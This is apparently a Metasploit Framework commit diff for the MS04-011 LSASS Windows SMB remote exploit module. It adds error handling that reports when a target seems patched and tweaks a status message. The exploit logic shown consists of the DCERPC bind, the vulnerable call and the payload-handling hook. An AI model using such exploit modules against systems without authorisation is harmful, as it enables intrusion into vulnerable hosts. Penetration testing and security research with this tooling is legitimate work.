Better error handling for patched systems

git-svn-id: file:///home/svn/framework3/trunk@3708 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/smb/ms04_011_lsass.rb

@@ -79,7 +79,7 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote
 		dcerpc_bind(handle)
 		print_status("Bound to #{handle}...")
 
-		print_status('Getting OS...')
+		print_status('Getting OS information...')
 		# Check the remote OS name and version
 		os = smb_peer_lm
 		string = ''
@@ -132,6 +132,13 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote
 			response = dcerpc_call(9, stub)
 		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
 			print_status('Server did not respond, but that should be ok...')
+		rescue Rex::Proto::DCERPC::Exceptions::Fault
+			case $!.fault
+			when 0x1c010002
+				print_status('Server appears to have been patched')
+			else
+				print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)
+			end
 		end
 
 		# Perform any required client-side payload handling